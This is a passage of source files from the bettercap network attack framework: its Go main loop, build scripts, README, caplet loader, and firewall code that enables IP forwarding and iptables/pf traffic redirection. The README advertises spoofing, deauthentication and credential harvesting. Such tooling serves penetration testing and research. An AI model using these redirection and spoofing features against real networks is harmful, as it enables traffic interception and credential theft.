fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n")
} else {
fmt.Printf("\n\nWARNING: This terminal does not support colors, view will be very limited.\n\n")
}
}
if *sess.Options.PrintVersion {
fmt.Printf("%s v%s (built for %s %s with %s)\n", core.Name, core.Version, runtime.GOOS, runtime.GOARCH, runtime.Version())
return
}
appName := fmt.Sprintf("%s v%s", core.Name, core.Version)
appBuild := fmt.Sprintf("(built for %s %s with %s)", runtime.GOOS, runtime.GOARCH, runtime.Version())
fmt.Printf("%s %s [type '%s' for a list of commands]\n\n", tui.Bold(appName), tui.Dim(appBuild), tui.Bold("help"))
// Load all modules
modules.LoadModules(sess)
if err = sess.Start(); err != nil {
log.Fatal("%s", err)
}
// Some modules are enabled by default in order
// to make the interactive session useful.
for _, modName := range str.Comma(*sess.Options.AutoStart) {
if err = sess.Run(modName + " on"); err != nil {
log.Fatal("error while starting module %s: %s", modName, err)
}
}
// Commands sent with -eval are used to set specific
// caplet parameters (i.e. arp.spoof.targets) via command
// line, therefore they need to be executed first otherwise
// modules might already be started.
for _, cmd := range session.ParseCommands(*sess.Options.Commands) {
if err = sess.Run(cmd); err != nil {
log.Error("error while running '%s': %s", tui.Bold(cmd), tui.Red(err.Error()))
}
}
// Then run the caplet if specified.
if *sess.Options.Caplet != "" {
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
log.Error("error while running caplet %s: %s", tui.Bold(*sess.Options.Caplet), tui.Red(err.Error()))
}
}
// Eventually start the interactive session.
for sess.Active {
line, err := sess.ReadLine()
if err != nil {
if err == io.EOF || err.Error() == "Interrupt" {
if exitPrompt() {
sess.Run("exit")
os.Exit(0)
}
continue
} else {
log.Fatal("%s", err)
}
}
for _, cmd := range session.ParseCommands(line) {
if err = sess.Run(cmd); err != nil {
log.Error("%s", err)
}
}
}
}
func exitPrompt() bool {
var ans string
fmt.Printf("Are you sure you want to quit this session? y/n ")
fmt.Scan(&ans)
return strings.ToLower(ans) == "y"
} |
bettercap/Makefile | TARGET ?= bettercap
PACKAGES ?= core firewall log modules network packets session tls
PREFIX ?= /usr/local
GO ?= go
all: build
build: resources
$(GOFLAGS) $(GO) build -o $(TARGET) .
build_with_race_detector: resources
$(GOFLAGS) $(GO) build -race -o $(TARGET) .
resources: network/manuf.go
network/manuf.go:
@python3 ./network/make_manuf.py
install:
@mkdir -p $(DESTDIR)$(PREFIX)/share/bettercap/caplets
@cp bettercap $(DESTDIR)$(PREFIX)/bin/
docker:
@docker build -t bettercap:latest .
test:
$(GOFLAGS) $(GO) test -covermode=atomic -coverprofile=cover.out ./...
html_coverage: test
$(GOFLAGS) $(GO) tool cover -html=cover.out -o cover.out.html
benchmark: server_deps
$(GOFLAGS) $(GO) test -v -run=doNotRunTests -bench=. -benchmem ./...
fmt:
$(GO) fmt -s -w $(PACKAGES)
clean:
$(RM) $(TARGET)
$(RM) -r build
.PHONY: all build build_with_race_detector resources install docker test html_coverage benchmark fmt clean |
|
bettercap/openwrt.makefile | include $(TOPDIR)/rules.mk
PKG_NAME:=bettercap
PKG_VERSION:=2.28
PKG_RELEASE:=2
GO_PKG:=github.com/bettercap/bettercap
PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=https://codeload.github.com/bettercap/bettercap/tar.gz/v${PKG_VERSION}?
PKG_HASH:=5bde85117679c6ed8b5469a5271cdd5f7e541bd9187b8d0f26dee790c37e36e9
PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION)
PKG_LICENSE:=GPL-3.0
PKG_LICENSE_FILES:=LICENSE.md
PKG_MAINTAINER:=Dylan Corrales <[email protected]>
PKG_BUILD_DEPENDS:=golang/host
PKG_BUILD_PARALLEL:=1
PKG_USE_MIPS16:=0
include $(INCLUDE_DIR)/package.mk
include ../../../packages/lang/golang/golang-package.mk
define Package/bettercap/Default
TITLE:=The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks.
URL:=https://www.bettercap.org/
DEPENDS:=$(GO_ARCH_DEPENDS) libpcap libusb-1.0
endef
define Package/bettercap
$(call Package/bettercap/Default)
SECTION:=net
CATEGORY:=Network
endef
define Package/bettercap/description
bettercap is a powerful, easily extensible and portable framework written
in Go which aims to offer to security researchers, red teamers and reverse
engineers an easy to use, all-in-one solution with all the features they
might possibly need for performing reconnaissance and attacking WiFi
networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks.
endef
define Package/bettercap/install
$(call GoPackage/Package/Install/Bin,$(PKG_INSTALL_DIR))
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/bettercap $(1)/usr/bin/bettercap
endef
$(eval $(call GoBinPackage,bettercap))
$(eval $(call BuildPackage,bettercap)) |
|
Markdown | bettercap/README.md | <p align="center">
<img alt="BetterCap" src="https://raw.githubusercontent.com/bettercap/media/master/logo.png" height="140" />
<p align="center">
<a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a>
<a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a>
<a href="https://travis-ci.org/bettercap/bettercap"><img alt="Travis" src="https://img.shields.io/travis/bettercap/bettercap/master.svg?style=flat-square"></a>
</p>
</p>
bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an **easy to use**, **all-in-one solution** with all the features they might possibly need for performing reconnaissance and attacking [WiFi](https://www.bettercap.org/modules/wifi/) networks, [Bluetooth Low Energy](https://www.bettercap.org/modules/ble/) devices, wireless [HID](https://www.bettercap.org/modules/hid/) devices and [Ethernet](https://www.bettercap.org/modules/ethernet) networks.

## Main Features
* **WiFi** networks scanning, [deauthentication attack](https://www.evilsocket.net/2018/07/28/Project-PITA-Writeup-build-a-mini-mass-deauther-using-bettercap-and-a-Raspberry-Pi-Zero-W/), [clientless PMKID association attack](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) and automatic WPA/WPA2 client handshakes capture.
* **Bluetooth Low Energy** devices scanning, characteristics enumeration, reading and writing.
* 2.4Ghz wireless devices scanning and **MouseJacking** attacks with over-the-air HID frames injection (with DuckyScript support).
* Passive and active IP network hosts probing and recon.
* **ARP, DNS, NDP and DHCPv6 spoofers** for MITM attacks on IPv4 and IPv6 based networks.
* **Proxies at packet level, TCP level and HTTP/HTTPS** application level fully scriptable with easy to implement **javascript plugins**.
* A powerful **network sniffer** for **credentials harvesting** which can also be used as a **network protocol fuzzer**.
* A very fast port scanner.
* A powerful [REST API](https://www.bettercap.org/modules/core/api.rest/) with support for asynchronous events notification on websocket to orchestrate your attacks easily.
* **A very convenient [web UI](https://www.bettercap.org/usage/#web-ui).**
* [More!](https://www.bettercap.org/modules/)
## License
`bettercap` is made with ♥ by [the dev team](https://github.com/orgs/bettercap/people) and it's released under the GPL 3 license.
## Stargazers over time
[](https://starchart.cc/bettercap/bettercap) |
bettercap/release.stork | #!/usr/bin/env stork -f
git:changelog
version:file "core/banner.go"
version:from_user
git:create_tag $VERSION
docker:build "bettercap/bettercap", ".", $VERSION
docker:create_tag "bettercap/bettercap", $VERSION, "latest" |
|
Markdown | bettercap/SECURITY.md | # Security Policy
## Supported Versions
Feature updates and security fixes are streamlined only to the latest version, make sure to check [the release page](https://github.com/bettercap/bettercap/releases) periodically.
## Reporting a Vulnerability
For non critical bugs and vulnerabilities feel free to open an issue and tag `@evilsocket`, for more severe reports send an email to `evilsocket AT gmail DOT com`. |
YAML | bettercap/.github/FUNDING.yml | # These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: evilsocket
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] |
Shell Script | bettercap/builder/arm_builder.sh | #!/usr/bin/env bash
set -eu
PROGRAM="${1}"
shift
COMMAND="${*}"
IMAGE="https://downloads.raspberrypi.org/raspbian_lite/images/raspbian_lite-2020-02-14/2020-02-13-raspbian-buster-lite.zip"
GOLANG="https://golang.org/dl/go1.16.2.linux-armv6l.tar.gz"
REPO_DIR="${PWD}"
TMP_DIR="/tmp/builder"
MNT_DIR="${TMP_DIR}/mnt"
if ! systemctl is-active systemd-binfmt.service >/dev/null 2>&1; then
mkdir -p "/lib/binfmt.d"
echo ':qemu-arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff:/usr/bin/qemu-arm-static:F' > /lib/binfmt.d/qemu-arm-static.conf
systemctl restart systemd-binfmt.service
fi
mkdir -p "${TMP_DIR}"
wget --show-progress -qcO "${TMP_DIR}/raspbian.zip" "${IMAGE}"
gunzip -c "${TMP_DIR}/raspbian.zip" > "${TMP_DIR}/raspbian.img"
truncate "${TMP_DIR}/raspbian.img" --size=+2G
parted --script "${TMP_DIR}/raspbian.img" resizepart 2 100%
LOOP_PATH="$(losetup --find --partscan --show "${TMP_DIR}/raspbian.img")"
e2fsck -y -f "${LOOP_PATH}p2"
resize2fs "${LOOP_PATH}p2"
partprobe "${LOOP_PATH}"
mkdir -p "${MNT_DIR}"
mountpoint -q "${MNT_DIR}" && umount -R "${MNT_DIR}"
mount -o rw "${LOOP_PATH}p2" "${MNT_DIR}"
mount -o rw "${LOOP_PATH}p1" "${MNT_DIR}/boot"
mount --bind /dev "${MNT_DIR}/dev/"
mount --bind /sys "${MNT_DIR}/sys/"
mount --bind /proc "${MNT_DIR}/proc/"
mount --bind /dev/pts "${MNT_DIR}/dev/pts"
mount | grep "${MNT_DIR}"
df -h
cp /usr/bin/qemu-arm-static "${MNT_DIR}/usr/bin"
cp /etc/resolv.conf "${MNT_DIR}/etc/resolv.conf"
mkdir -p "${MNT_DIR}/root/src/${PROGRAM}"
mount --bind "${REPO_DIR}" "${MNT_DIR}/root/src/${PROGRAM}"
cp "${MNT_DIR}/etc/ld.so.preload" "${MNT_DIR}/etc/_ld.so.preload"
touch "${MNT_DIR}/etc/ld.so.preload"
chroot "${MNT_DIR}" bin/bash -x <<EOF
set -eu
export LANG="C"
export LC_ALL="C"
export LC_CTYPE="C"
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin:/root/bin"
wget --show-progress -qcO /tmp/golang.tar.gz "${GOLANG}"
tar -C /usr/local -xzf /tmp/golang.tar.gz
export GOROOT="/usr/local/go"
export GOPATH="/root"
apt-get -y update
apt-get install wget libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev build-essential git
cd "/root/src/${PROGRAM}"
${COMMAND}
EOF
echo "Build finished" |
bettercap/builder/libusb.pc | prefix=c:/libusb
exec_prefix=${prefix}
libdir=${prefix}/MinGW64/static
includedir=${prefix}/include
Name: libusb-1.0
Description: C API for USB device access from Linux, Mac OS X, Windows, OpenBSD/NetBSD and Solaris userspace
Version: 1.0.18
Libs: -L${libdir} -lusb-1.0
Cflags: -I${includedir}/libusb-1.0 |
|
Go | bettercap/caplets/caplet.go | package caplets
import (
"fmt"
"path/filepath"
"strings"
"github.com/evilsocket/islazy/fs"
)
type Script struct {
Path string `json:"path"`
Size int64 `json:"size"`
Code []string `json:"code"`
}
func newScript(path string, size int64) Script {
return Script{
Path: path,
Size: size,
Code: make([]string, 0),
}
}
type Caplet struct {
Script
Name string `json:"name"`
Scripts []Script `json:"scripts"`
}
func NewCaplet(name string, path string, size int64) Caplet {
return Caplet{
Script: newScript(path, size),
Name: name,
Scripts: make([]Script, 0),
}
}
func (cap *Caplet) Eval(argv []string, lineCb func(line string) error) error {
if argv == nil {
argv = []string{}
}
// the caplet might include other files (include directive, proxy modules, etc),
// temporarily change the working directory
return fs.Chdir(filepath.Dir(cap.Path), func() error {
for _, line := range cap.Code {
// skip empty lines and comments
if line == "" || line[0] == '#' {
continue
}
// replace $0 with argv[0], $1 with argv[1] and so on
for i, arg := range argv {
what := fmt.Sprintf("$%d", i)
line = strings.Replace(line, what, arg, -1)
}
if err := lineCb(line); err != nil {
return err
}
}
return nil
})
} |
Go | bettercap/caplets/env.go | package caplets
import (
"os"
"path/filepath"
"runtime"
"github.com/evilsocket/islazy/str"
"github.com/mitchellh/go-homedir"
)
const (
EnvVarName = "CAPSPATH"
Suffix = ".cap"
InstallArchive = "https://github.com/bettercap/caplets/archive/master.zip"
)
func getDefaultInstallBase() string {
if runtime.GOOS == "windows" {
return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
}
return "/usr/local/share/bettercap/"
}
func getUserHomeDir() string {
usr, _ := homedir.Dir()
return usr
}
var (
InstallBase = ""
InstallPathArchive = ""
InstallPath = ""
ArchivePath = ""
LoadPaths = []string(nil)
)
func Setup(base string) error {
InstallBase = base
InstallPathArchive = filepath.Join(InstallBase, "caplets-master")
InstallPath = filepath.Join(InstallBase, "caplets")
ArchivePath = filepath.Join(os.TempDir(), "caplets.zip")
LoadPaths = []string{
"./",
"./caplets/",
InstallPath,
filepath.Join(getUserHomeDir(), "caplets"),
}
for _, path := range str.SplitBy(str.Trim(os.Getenv(EnvVarName)), string(os.PathListSeparator)) {
if path = str.Trim(path); len(path) > 0 {
LoadPaths = append(LoadPaths, path)
}
}
for i, path := range LoadPaths {
LoadPaths[i], _ = filepath.Abs(path)
}
return nil
}
func init() {
// init with defaults
Setup(getDefaultInstallBase())
} |
Go | bettercap/caplets/manager.go | package caplets
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"github.com/evilsocket/islazy/fs"
)
var (
cache = make(map[string]*Caplet)
cacheLock = sync.Mutex{}
)
func List() []*Caplet {
caplets := make([]*Caplet, 0)
for _, searchPath := range LoadPaths {
files, _ := filepath.Glob(searchPath + "/*" + Suffix)
files2, _ := filepath.Glob(searchPath + "/*/*" + Suffix)
for _, fileName := range append(files, files2...) {
if _, err := os.Stat(fileName); err == nil {
base := strings.Replace(fileName, searchPath+string(os.PathSeparator), "", -1)
base = strings.Replace(base, Suffix, "", -1)
if caplet, err := Load(base); err != nil {
fmt.Fprintf(os.Stderr, "wtf: %v\n", err)
} else {
caplets = append(caplets, caplet)
}
}
}
}
sort.Slice(caplets, func(i, j int) bool {
return strings.Compare(caplets[i].Name, caplets[j].Name) == -1
})
return caplets
}
func Load(name string) (*Caplet, error) {
cacheLock.Lock()
defer cacheLock.Unlock()
if caplet, found := cache[name]; found {
return caplet, nil
}
baseName := name
names := []string{}
if !strings.HasSuffix(name, Suffix) {
name += Suffix
}
if !filepath.IsAbs(name) {
for _, path := range LoadPaths {
names = append(names, filepath.Join(path, name))
}
} else {
names = append(names, name)
}
for _, fileName := range names {
if stats, err := os.Stat(fileName); err == nil {
cap := &Caplet{
Script: newScript(fileName, stats.Size()),
Name: baseName,
Scripts: make([]Script, 0),
}
cache[name] = cap
if reader, err := fs.LineReader(fileName); err != nil {
return nil, fmt.Errorf("error reading caplet %s: %v", fileName, err)
} else {
for line := range reader {
cap.Code = append(cap.Code, line)
}
// the caplet has a dedicated folder
if strings.Contains(baseName, "/") || strings.Contains(baseName, "\\") {
dir := filepath.Dir(fileName)
// get all secondary .cap and .js files
if files, err := ioutil.ReadDir(dir); err == nil && len(files) > 0 {
for _, f := range files {
subFileName := filepath.Join(dir, f.Name())
if subFileName != fileName && (strings.HasSuffix(subFileName, ".cap") || strings.HasSuffix(subFileName, ".js")) {
if reader, err := fs.LineReader(subFileName); err == nil {
script := newScript(subFileName, f.Size())
for line := range reader {
script.Code = append(script.Code, line)
}
cap.Scripts = append(cap.Scripts, script)
}
}
}
}
}
}
return cap, nil
}
}
return nil, fmt.Errorf("caplet %s not found", name)
} |
Go | bettercap/core/banner.go | package core
const (
Name = "bettercap"
Version = "2.32.0"
Author = "Simone 'evilsocket' Margaritelli"
Website = "https://bettercap.org/"
) |
Go | bettercap/core/banner_test.go | package core
import (
"regexp"
"testing"
)
func TestBannerName(t *testing.T) {
if Name != "bettercap" {
t.Fatalf("expected '%s', got '%s'", "bettercap", Name)
}
}
func TestBannerWebsite(t *testing.T) {
if Website != "https://bettercap.org/" {
t.Fatalf("expected '%s', got '%s'", "https://bettercap.org/", Website)
}
}
func TestBannerVersion(t *testing.T) {
match, err := regexp.MatchString(`\d+.\d+`, Version)
if err != nil {
t.Fatalf("unable to perform regex on Version constant")
}
if !match {
t.Fatalf("expected Version constant in format '%s', got '%s'", "X.X", Version)
}
}
func TestBannerAuthor(t *testing.T) {
if Author != "Simone 'evilsocket' Margaritelli" {
t.Fatalf("expected '%s', got '%s'", "Simone 'evilsocket' Margaritelli", Author)
}
} |
Go | bettercap/core/core.go | package core
import (
"os/exec"
"sort"
"github.com/evilsocket/islazy/str"
)
func UniqueInts(a []int, sorted bool) []int {
tmp := make(map[int]bool, len(a))
uniq := make([]int, 0, len(a))
for _, n := range a {
tmp[n] = true
}
for n := range tmp {
uniq = append(uniq, n)
}
if sorted {
sort.Ints(uniq)
}
return uniq
}
func HasBinary(executable string) bool {
if path, err := exec.LookPath(executable); err != nil || path == "" {
return false
}
return true
}
func Exec(executable string, args []string) (string, error) {
path, err := exec.LookPath(executable)
if err != nil {
return "", err
}
raw, err := exec.Command(path, args...).CombinedOutput()
if err != nil {
return str.Trim(string(raw)), err
} else {
return str.Trim(string(raw)), nil
}
} |
Go | bettercap/core/core_android.go | // +build android
package core
func Shell(cmd string) (string, error) {
return Exec("/system/bin/sh", []string{"-c", cmd})
} |
Go | bettercap/core/core_test.go | package core
import (
"os"
"testing"
"github.com/evilsocket/islazy/fs"
)
func hasInt(a []int, v int) bool {
for _, n := range a {
if n == v {
return true
}
}
return false
}
func sameInts(a []int, b []int, ordered bool) bool {
if len(a) != len(b) {
return false
}
if ordered {
for i, v := range a {
if v != b[i] {
return false
}
}
} else {
for _, v := range a {
if !hasInt(b, v) {
return false
}
}
}
return true
}
func TestCoreUniqueIntsUnsorted(t *testing.T) {
var units = []struct {
from []int
to []int
}{
{[]int{}, []int{}},
{[]int{1, 1, 1, 1, 1}, []int{1}},
{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
{[]int{4, 3, 4, 3, 2, 2}, []int{4, 3, 2}},
{[]int{8, 3, 8, 4, 6, 1}, []int{8, 3, 4, 6, 1}},
}
for _, u := range units {
got := UniqueInts(u.from, false)
if !sameInts(got, u.to, false) {
t.Fatalf("expected '%v', got '%v'", u.to, got)
}
}
}
func TestCoreUniqueIntsSorted(t *testing.T) {
var units = []struct {
from []int
to []int
}{
{[]int{}, []int{}},
{[]int{1, 1, 1, 1, 1}, []int{1}},
{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
{[]int{4, 3, 4, 3, 2, 2}, []int{2, 3, 4}},
{[]int{8, 3, 8, 4, 6, 1}, []int{1, 3, 4, 6, 8}},
}
for _, u := range units {
got := UniqueInts(u.from, true)
if !sameInts(got, u.to, true) {
t.Fatalf("expected '%v', got '%v'", u.to, got)
}
}
}
func TestCoreExists(t *testing.T) {
var units = []struct {
what string
exists bool
}{
{".", true},
{"/", true},
{"wuuut", false},
{"/wuuu.t", false},
{os.Args[0], true},
}
for _, u := range units {
got := fs.Exists(u.what)
if got != u.exists {
t.Fatalf("expected '%v', got '%v'", u.exists, got)
}
}
} |
Go | bettercap/core/core_unix.go | // +build !windows,!android
package core
func Shell(cmd string) (string, error) {
return Exec("/bin/sh", []string{"-c", cmd})
} |
Go | bettercap/core/core_windows.go | package core
func Shell(cmd string) (string, error) {
return Exec("cmd.exe", []string{"/c", cmd})
} |
Go | bettercap/core/options.go | package core
import (
"flag"
)
type Options struct {
InterfaceName *string
Gateway *string
Caplet *string
AutoStart *string
Debug *bool
Silent *bool
NoColors *bool
NoHistory *bool
PrintVersion *bool
EnvFile *string
Commands *string
CpuProfile *string
MemProfile *string
CapletsPath *string
Script *string
PcapBufSize *int
}
func ParseOptions() (Options, error) {
o := Options{
InterfaceName: flag.String("iface", "", "Network interface to bind to, if empty the default interface will be auto selected."),
Gateway: flag.String("gateway-override", "", "Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used."),
AutoStart: flag.String("autostart", "events.stream", "Comma separated list of modules to auto start."),
Caplet: flag.String("caplet", "", "Read commands from this file and execute them in the interactive session."),
Debug: flag.Bool("debug", false, "Print debug messages."),
PrintVersion: flag.Bool("version", false, "Print the version and exit."),
Silent: flag.Bool("silent", false, "Suppress all logs which are not errors."),
NoColors: flag.Bool("no-colors", false, "Disable output color effects."),
NoHistory: flag.Bool("no-history", false, "Disable interactive session history file."),
EnvFile: flag.String("env-file", "", "Load environment variables from this file if found, set to empty to disable environment persistence."),
Commands: flag.String("eval", "", "Run one or more commands separated by ; in the interactive session, used to set variables via command line."),
CpuProfile: flag.String("cpu-profile", "", "Write cpu profile `file`."),
MemProfile: flag.String("mem-profile", "", "Write memory profile to `file`."),
CapletsPath: flag.String("caplets-path", "", "Specify an alternative base path for caplets."),
Script: flag.String("script", "", "Load a session script."),
PcapBufSize: flag.Int("pcap-buf-size", -1, "PCAP buffer size, leave to 0 for the default value."),
}
flag.Parse()
return o, nil
} |
Go | bettercap/firewall/doc.go | // Package firewall contains the OS specific implementation of the FirewallManager interface.
package firewall |
Go | bettercap/firewall/firewall.go | package firewall
type FirewallManager interface {
IsForwardingEnabled() bool
EnableForwarding(enabled bool) error
EnableRedirection(r *Redirection, enabled bool) error
Restore()
} |
Go | bettercap/firewall/firewall_darwin.go | package firewall
import (
"bufio"
"fmt"
"io/ioutil"
"log"
"os"
"regexp"
"strings"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/network"
"github.com/evilsocket/islazy/str"
)
var (
sysCtlParser = regexp.MustCompile(`([^:]+):\s*(.+)`)
pfFilePath = fmt.Sprintf("/tmp/bcap_pf_%d.conf", os.Getpid())
)
type PfFirewall struct {
iface *network.Endpoint
filename string
forwarding bool
enabled bool
}
func Make(iface *network.Endpoint) FirewallManager {
firewall := &PfFirewall{
iface: iface,
filename: pfFilePath,
forwarding: false,
enabled: false,
}
firewall.forwarding = firewall.IsForwardingEnabled()
return firewall
}
func (f PfFirewall) sysCtlRead(param string) (string, error) {
if out, err := core.Exec("sysctl", []string{param}); err != nil {
return "", err
} else if m := sysCtlParser.FindStringSubmatch(out); len(m) == 3 && m[1] == param {
return m[2], nil
} else {
return "", fmt.Errorf("Unexpected sysctl output: %s", out)
}
}
func (f PfFirewall) sysCtlWrite(param string, value string) (string, error) {
args := []string{"-w", fmt.Sprintf("%s=%s", param, value)}
_, err := core.Exec("sysctl", args)
if err != nil {
return "", err
}
// make sure we actually wrote the value
if out, err := f.sysCtlRead(param); err != nil {
return "", err
} else if out != value {
return "", fmt.Errorf("Expected value for '%s' is %s, found %s", param, value, out)
} else {
return out, nil
}
}
func (f PfFirewall) IsForwardingEnabled() bool {
out, err := f.sysCtlRead("net.inet.ip.forwarding")
if err != nil {
log.Printf("ERROR: %s", err)
return false
}
return strings.HasSuffix(out, ": 1")
}
func (f PfFirewall) enableParam(param string, enabled bool) error {
var value string
if enabled {
value = "1"
} else {
value = "0"
}
if _, err := f.sysCtlWrite(param, value); err != nil {
return err
} else {
return nil
}
}
func (f PfFirewall) EnableForwarding(enabled bool) error {
return f.enableParam("net.inet.ip.forwarding", enabled)
}
func (f PfFirewall) generateRule(r *Redirection) string {
src_a := "any"
dst_a := "any"
if r.SrcAddress != "" {
src_a = r.SrcAddress
}
if r.DstAddress != "" {
dst_a = r.DstAddress
}
return fmt.Sprintf("rdr pass on %s proto %s from any to %s port %d -> %s port %d",
r.Interface, r.Protocol, src_a, r.SrcPort, dst_a, r.DstPort)
}
func (f *PfFirewall) enable(enabled bool) {
f.enabled = enabled
if enabled {
core.Exec("pfctl", []string{"-e"})
} else {
core.Exec("pfctl", []string{"-d"})
}
}
func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error {
rule := f.generateRule(r)
if enabled {
fd, err := os.OpenFile(f.filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
return err
}
defer fd.Close()
if _, err = fd.WriteString(rule + "\n"); err != nil {
return err
}
// enable pf
f.enable(true)
// load the rule
if _, err := core.Exec("pfctl", []string{"-f", f.filename}); err != nil {
return err
}
} else {
fd, err := os.Open(f.filename)
if err == nil {
defer fd.Close()
lines := ""
scanner := bufio.NewScanner(fd)
for scanner.Scan() {
line := str.Trim(scanner.Text())
if line != rule {
lines += line + "\n"
}
}
if str.Trim(lines) == "" {
os.Remove(f.filename)
f.enable(false)
} else {
ioutil.WriteFile(f.filename, []byte(lines), 0600)
}
}
}
return nil
}
func (f PfFirewall) Restore() {
f.EnableForwarding(f.forwarding)
if f.enabled {
f.enable(false)
}
os.Remove(f.filename)
} |
Go | bettercap/firewall/firewall_linux.go | package firewall
import (
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/network"
"github.com/evilsocket/islazy/fs"
"github.com/evilsocket/islazy/str"
)
type LinuxFirewall struct {
iface *network.Endpoint
forwarding bool
redirections map[string]*Redirection
}
const (
IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward"
IPV6ForwardingFile = "/proc/sys/net/ipv6/conf/all/forwarding"
)
func Make(iface *network.Endpoint) FirewallManager {
firewall := &LinuxFirewall{
iface: iface,
forwarding: false,
redirections: make(map[string]*Redirection),
}
firewall.forwarding = firewall.IsForwardingEnabled()
return firewall
}
func (f LinuxFirewall) enableFeature(filename string, enable bool) error {
var value string
if enable {
value = "1"
} else {
value = "0"
}
fd, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
return err
}
defer fd.Close()
_, err = fd.WriteString(value)
return err
}
func (f LinuxFirewall) IsForwardingEnabled() bool {
if out, err := ioutil.ReadFile(IPV4ForwardingFile); err != nil {
return false
} else {
return str.Trim(string(out)) == "1"
}
}
func (f LinuxFirewall) EnableForwarding(enabled bool) error {
if err := f.enableFeature(IPV4ForwardingFile, enabled); err != nil {
return err
}
if fs.Exists(IPV6ForwardingFile) {
return f.enableFeature(IPV6ForwardingFile, enabled)
}
return nil
}
func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
action := "-A"
destination := ""
if !enabled {
action = "-D"
}
if strings.Count(r.DstAddress, ":") < 2 {
destination = r.DstAddress
} else {
destination = fmt.Sprintf("[%s]", r.DstAddress)
}
if r.SrcAddress == "" {
cmdLine = []string{
"-t", "nat",
action, "PREROUTING",
"-i", r.Interface,
"-p", r.Protocol,
"--dport", fmt.Sprintf("%d", r.SrcPort),
"-j", "DNAT",
"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
}
} else {
cmdLine = []string{
"-t", "nat",
action, "PREROUTING",
"-i", r.Interface,
"-p", r.Protocol,
"-d", r.SrcAddress,
"--dport", fmt.Sprintf("%d", r.SrcPort),
"-j", "DNAT",
"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
}
}
return
}
func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
cmdLine := f.getCommandLine(r, enabled)
rkey := r.String()
_, found := f.redirections[rkey]
cmd := ""
if strings.Count(r.DstAddress, ":") < 2 {
cmd = "iptables"
} else {
cmd = "ip6tables"
}
if enabled {
if found {
return fmt.Errorf("Redirection '%s' already enabled.", rkey)
}
f.redirections[rkey] = r
// accept all
if _, err := core.Exec(cmd, []string{"-P", "FORWARD", "ACCEPT"}); err != nil {
return err
} else if _, err := core.Exec(cmd, cmdLine); err != nil {
return err
}
} else {
if !found {
return nil
}
delete(f.redirections, r.String())
if _, err := core.Exec(cmd, cmdLine); err != nil {
return err
}
}
return nil
}
func (f LinuxFirewall) Restore() {
for _, r := range f.redirections {
if err := f.EnableRedirection(r, false); err != nil {
fmt.Printf("%s", err)
}
}
if err := f.EnableForwarding(f.forwarding); err != nil {
fmt.Printf("%s", err)
}
} |
Go | bettercap/firewall/firewall_windows.go | package firewall
import (
"fmt"
"strings"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/network"
)
type WindowsFirewall struct {
iface *network.Endpoint
forwarding bool
redirections map[string]*Redirection
}
func Make(iface *network.Endpoint) FirewallManager {
firewall := &WindowsFirewall{
iface: iface,
forwarding: false,
redirections: make(map[string]*Redirection, 0),
}
firewall.forwarding = firewall.IsForwardingEnabled()
return firewall
}
func (f WindowsFirewall) IsForwardingEnabled() bool {
if out, err := core.Exec("netsh", []string{"interface", "ipv4", "dump"}); err != nil {
fmt.Printf("%s\n", err)
return false
} else {
return strings.Contains(out, "forwarding=enabled")
}
}
func (f WindowsFirewall) EnableForwarding(enabled bool) error {
v := "enabled"
if enabled == false {
v = "disabled"
}
if _, err := core.Exec("netsh", []string{"interface", "ipv4", "set", "interface", fmt.Sprintf("%d", f.iface.Index), fmt.Sprintf("forwarding=\"%s\"", v)}); err != nil {
return err
}
return nil
}
func (f WindowsFirewall) generateRule(r *Redirection, enabled bool) []string {
// https://stackoverflow.com/questions/24646165/netsh-port-forwarding-from-local-port-to-local-port-not-working
rule := []string{
